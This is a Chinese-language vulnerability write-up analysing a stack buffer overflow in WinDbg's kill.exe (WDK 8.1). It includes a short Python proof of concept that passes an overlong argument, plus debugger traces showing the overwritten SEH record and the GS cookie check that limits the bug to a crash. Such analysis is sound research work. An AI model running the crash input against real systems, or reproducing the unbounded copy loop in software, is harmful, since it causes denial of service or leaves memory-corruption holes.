作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
kill.exe是Windbg中负责关闭进程的小工具,在kill.exe中处理进程参数的时候,由于对于进程参数没有进行有效的长度控制和内容检查,导致可以通过传入超长参数payload造成内存破坏,这实际上是一个可以利用的漏洞,但是由于windbg在wdk 8.1版本中引入的GS和SafeSEH防护机制,导致这个漏洞只能造成拒绝服务,而无法执行代码,下面对此漏洞进行详细分析。
软件下载:
请下载wdk 8.1版本,文件版本:6.3.9600.17298
PoC:
import subprocess
junk="A"*508+"RRRR"
pgm='c:\\Program Files (x86)\\Windows Kits\\8.1\\Debuggers\\x86\\kill.exe '
subprocess.Popen([pgm, junk], shell=False)
漏洞复现
kill.exe是Windbg中负责关闭进程的小工具,在kill.exe中处理进程参数的时候,由于对于进程参数没有进行有效的长度控制和内容检查,导致可以通过传入超长参数payload造成内存破坏,这实际上是一个可以利用的漏洞,但是由于windbg在wdk 8.1版本中引入的GS和SafeSEH防护机制,导致这个漏洞只能造成拒绝服务,而无法执行代码,下面对此漏洞进行详细分析。
首先附加windbg,直接用windbg带参数启动kill.exe,windbg运行中断。
eax=ffffffff ebx=00000000 ecx=77080800 edx=76f170f4 esi=77020000 edi=00000000
eip=76f170f4 esp=001af238 ebp=001af248 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SYSTEM32\ntdll.dll -
ntdll!KiFastSystemCallRet:
76f170f4 c3 ret
程序直接调用了KiFastSystemCallRet,异常中断后退出,实际上此时已经造成了拒绝服务,通过观察线程结构体,可以看到SEH的情况。
0:000> !teb
TEB at 7ffdf000
ExceptionList: 001af788
StackBase: 001b0000
StackLimit: 001ad000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 7ffdf000
EnvironmentPointer: 00000000
ClientId: 00000a50 . 00000d28
RpcHandle: 00000000
Tls Storage: 7ffdf02c
PEB Address: 7ffd5000
LastErrorValue: 0
LastStatusValue: c0000302
Count Owned Locks: 0
HardErrorMode: 0
0:000> dt 7ffdf000 _NT_TIB
ntdll!_NT_TIB
+0x000 ExceptionList : 0x001af788 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : 0x001b0000 Void
+0x008 StackLimit : 0x001ad000 Void
+0x00c SubSystemTib : (null)
+0x010 FiberData : 0x00001e00 Void
+0x010 Version : 0x1e00
+0x014 ArbitraryUserPointer : (null)
+0x018 Self : 0x7ffdf000 _NT_TIB
0:000> dt 001af788 _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x41414141 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x41414141 _EXCEPTION_DISPOSITION +41414141
通过最后EXCEPTION结构体的情况可以看到Handler已经被覆盖了,也就是说实际上此时已经由于溢出覆盖了SEH结构体,但是由于SafeSEH保护机制的原因,导致程序直接退出。
通过kb调用观察一下堆栈回溯。
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001af248 00342364 ffffffff c0000409 001af588 ntdll!KiFastSystemCallRet
001af258 00342477 00341058 00000000 00000000 kill+0x2364
001af588 00341902 fffffffe 41414141 41414141 kill+0x2477
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll -
001af798 7706ed6c 7ffd5000 001af7e4 76f337eb kill+0x1902
001af7a4 76f337eb 7ffd5000 5a5f70cb 00000000 kernel32!BaseThreadInitThunk+0x12
从00341920位置开始入手分析,实际上这里由于ASLR的存在,基址会有所变化,但是偏移不变,还是可以正常定位到漏洞函数。
漏洞分析
首先看到最先调用的函数,通过Windbg可以直接获取到kill.exe的符号表,获取到每个函数的名称。
0:000> bl
0 e 011a1753 0001 (0001) 0:**** kill!GetCommandLineArgs
0:000> g
ModLoad: 76850000 7686f000 C:\Windows\system32\IMM32.DLL
ModLoad: 751f0000 752bc000 C:\Windows\system32\MSCTF.dll
Breakpoint 0 hit
eax=00000001 ebx=00000000 ecx=76f2c956 edx=77020000 esi=77020000 edi=00000000
eip=011a1753 esp=0008f75c ebp=0008f814 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kill!GetCommandLineArgs:
011a1753 8bff mov edi,edi
实际上最外层函数名为GetCommandLineArgs,看函数名称可以猜测这个函数的作用是获取命令行参数。
在这个函数的入口下断点命中后,单步跟踪。
0:000> p
eax=57191bdc ebx=00000000 ecx=76f2c956 edx=77020000 esi=77020000 edi=00000000
eip=011a1768 esp=0008f64c ebp=0008f758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kill!GetCommandLineArgs+0x15:
011a1768 53 push ebx
0:000> p
eax=57191bdc ebx=00000000 ecx=76f2c956 edx=77020000 esi=77020000 edi=00000000
eip=011a1769 esp=0008f648 ebp=0008f758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kill!GetCommandLineArgs+0x16:
011a1769 56 push esi
0:000> p
eax=57191bdc ebx=00000000 ecx=76f2c956 edx=77020000 esi=77020000 edi=00000000
eip=011a176a esp=0008f644 ebp=0008f758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kill!GetCommandLineArgs+0x17:
011a176a ff1554804701 call dword ptr [kill!_imp__GetCommandLineA (01478054)] ds:0023:01478054={kernel32!GetCommandLineAStub (77078eaf)}
0:000> p
eax=001924e0 ebx=00000000 ecx=76f2c956 edx=77020000 esi=77020000 edi=00000000
eip=011a1770 esp=0008f644 ebp=0008f758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kill!GetCommandLineArgs+0x1d:
011a1770 8bf0 mov esi,eax
0:000> dc eax
001924e0 5c3a4322 676f7250 206d6172 656c6946 "C:\Program File
001924f0 69575c73 776f646e 694b2073 385c7374 s\Windows Kits\8
00192500 445c312e 67756265 73726567 3638785c .1\Debuggers\x86
00192510 6c696b5c 78652e6c 41202265 41414141 \kill.exe" AAAAA
00192520 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00192530 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00192540 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
00192550 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
首先,kill.exe会先调用GetCommandLineA获取参数名称,保存在eax寄存器里,通过观察eax寄存器内容可以看到参数内容。实际上这是整条命令行命令。
接下来这个获取到的eax内容,会传入一个小的do while循环,在这个循环里只是会将整个命令传入到一个指针里。
do
v2 = *v1++;
while ( v2 != 32 && v2 != 9 && v2 );
接下来会进入一个长的do while逻辑,在这个逻辑中,主要会对每一个参数作为区分,分别处理,来看一下这个while逻辑。
while ( v2 )
{
do
{
result = (char *)_isspace((unsigned __int8)v2);
if ( !result )
break;
v2 = *v1++;
}
while ( v2 );
if ( !v2 )
return result;
while ( v2 == 45 || v2 == 47 )
{
result = (char *)_tolower(*v1);
v2 = (char)result;
++v1;
while ( 1 )
{
if ( v2 == 63 )
Usage();
if ( v2 != 102 )
return result;
v2 = *v1++;
ForceKill = 1;
if ( v2 == 32 )
break;
if ( v2 == 9 || !v2 )
goto LABEL_19;
}
do
{
v2 = *v1++;
LABEL_19:
;
}
while ( v2 == 32 || v2 == 9 );
}
这里处理完之后,可以看一下最后处理完的值,会把第一个参数,也就是payload部分拆分出来。
0:000> bp 011a1807
0:000> g
Breakpoint 1 hit
eax=00000000 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251c edi=00000021
eip=011a1807 esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
kill!GetCommandLineArgs+0xb4:
011a1807 0fb6fb movzx edi,bl
0:000> dc esi
0019251c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0019252c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0019253c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0019254c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0019255c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0019256c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0019257c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
0019258c 41414141 41414141 41414141 41414141 AAAAAAAAAAAAAAAA
拆分之后,会对每一个参数进行处理,会调用isdigit函数判断这个参数的类型,如果是数字,则会进行一种处理,如果是字符串,则会进入另一种处理。
0:000> p
eax=00000000 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251c edi=00000041
eip=011a180a esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
kill!GetCommandLineArgs+0xb7:
011a180a 57 push edi
0:000> p
eax=00000000 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251c edi=00000041
eip=011a180b esp=0008f63c ebp=0008f758 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000216
kill!GetCommandLineArgs+0xb8:
011a180b ff15e4804701 call dword ptr [kill!_imp__isdigit (014780e4)] ds:0023:014780e4={msvcrt!isdigit (7694b407)}
0:000> p
eax=00000000 ebx=00000041 ecx=76941b48 edx=00000001 esi=0019251c edi=00000041
eip=011a1811 esp=0008f63c ebp=0008f758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kill!GetCommandLineArgs+0xbe:
011a1811 59 pop ecx
0:000> p
eax=00000000 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251c edi=00000041
eip=011a1812 esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kill!GetCommandLineArgs+0xbf:
011a1812 85c0 test eax,eax
0:000> p
eax=00000000 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251c edi=00000041
eip=011a1814 esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kill!GetCommandLineArgs+0xc1:
011a1814 7452 je kill!GetCommandLineArgs+0x115 (011a1868) [br=1]
在011a1814,就会等isdigit处理结束之后进行判断,然后跳转,这里payload显然是字符串,那么就会进入字符串处理分支。
else
{
if ( !v2 )
return result;
v5 = &Src;
do
{
*v5++ = v2;
v2 = *v1++;
}
while ( v2 != 32 && v2 != 9 && v2 );
*v5 = 0;
__strupr(&Src);
Arguments[2 * NumberOfArguments] = 0;
v6 = strlen(&Src);
result = (char *)_malloc(v6 + 1);
dword_6D73E4[2 * NumberOfArguments] = (int)result;
if ( result )
{
result = (char *)strcpy_s(result, v6 + 1, &Src);
++NumberOfArguments;
}
}
else语句中,乍一看是strcpy_s引发的问题,但实际上,这个是windows引入的一个安全拷贝函数,并不会造成溢出问题,问题是出现在上面的do while循环中。
do
{
*v5++ = v2;
v2 = *v1++;
}
while ( v2 != 32 && v2 != 9 && v2 );
这个do while循环会对参数进行拷贝,然而判断循环的结束仅仅是空格,制表符和/x00,没有进行长度控制。
0:000> p
eax=0008f652 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251d edi=00000041
eip=011a187b esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kill!GetCommandLineArgs+0x128:
011a187b 46 inc esi
0:000> p
eax=0008f652 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251e edi=00000041
eip=011a187c esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kill!GetCommandLineArgs+0x129:
011a187c 80fb20 cmp bl,20h
0:000> p
eax=0008f652 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251e edi=00000041
eip=011a187f esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kill!GetCommandLineArgs+0x12c:
011a187f 7409 je kill!GetCommandLineArgs+0x137 (011a188a) [br=0]
0:000> p
eax=0008f652 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251e edi=00000041
eip=011a1881 esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kill!GetCommandLineArgs+0x12e:
011a1881 80fb09 cmp bl,9
0:000> p
eax=0008f652 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251e edi=00000041
eip=011a1884 esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
kill!GetCommandLineArgs+0x131:
011a1884 7404 je kill!GetCommandLineArgs+0x137 (011a188a) [br=0]
0:000> p
eax=0008f652 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251e edi=00000041
eip=011a1886 esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
kill!GetCommandLineArgs+0x133:
011a1886 84db test bl,bl
0:000> p
eax=0008f652 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251e edi=00000041
eip=011a1888 esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kill!GetCommandLineArgs+0x135:
011a1888 75ec jne kill!GetCommandLineArgs+0x123 (011a1876) [br=1]
0:000> p
eax=0008f652 ebx=00000041 ecx=00000041 edx=00000001 esi=0019251e edi=00000041
eip=011a1876 esp=0008f640 ebp=0008f758 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
kill!GetCommandLineArgs+0x123:
011a1876 8818 mov byte ptr [eax],bl ds:0023:0008f652=54
0:000> dc eax-2
0008f650 53544141 312e385c 4245445c 45474755 AATS\8.1\DEBUGGE
这个拷贝超出了定义的缓冲区长度,造成了缓冲区溢出。但是这里存在一个问题,在返回之前,由于GS的存在,会调用security check cookie函数。
0:000> p
eax=00000000 ebx=00000000 ecx=4149b619 edx=00000001 esi=77020000 edi=00000000
eip=011a18fc esp=0008f648 ebp=0008f758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kill!GetCommandLineArgs+0x1a9:
011a18fc 5b pop ebx
0:000> p
eax=00000000 ebx=00000000 ecx=4149b619 edx=00000001 esi=77020000 edi=00000000
eip=011a18fd esp=0008f64c ebp=0008f758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
kill!GetCommandLineArgs+0x1aa:
011a18fd e8250a0000 call kill!__security_check_cookie (011a2327)
这个函数会检查ebp-4位置的cookie数值,这个数值保存在.data段中,这里显然会由于检查cookie出现问题,导致程序就进入SEH异常处理,最后由于safeSEH的存在,程序退出。
STATUS_STACK_BUFFER_OVERRUN encountered
WARNING: This break is not a step/trace completion.
The last command has been cleared to prevent
accidental continuation of this unrelated event.
Check the event, location and thread before resuming.
(8dc.d84): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=011a1058 ecx=7709de28 edx=0008f045 esi=00000000 edi=00000000
eip=7709dca5 esp=0008f28c ebp=0008f308 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
7709dca5 cc int 3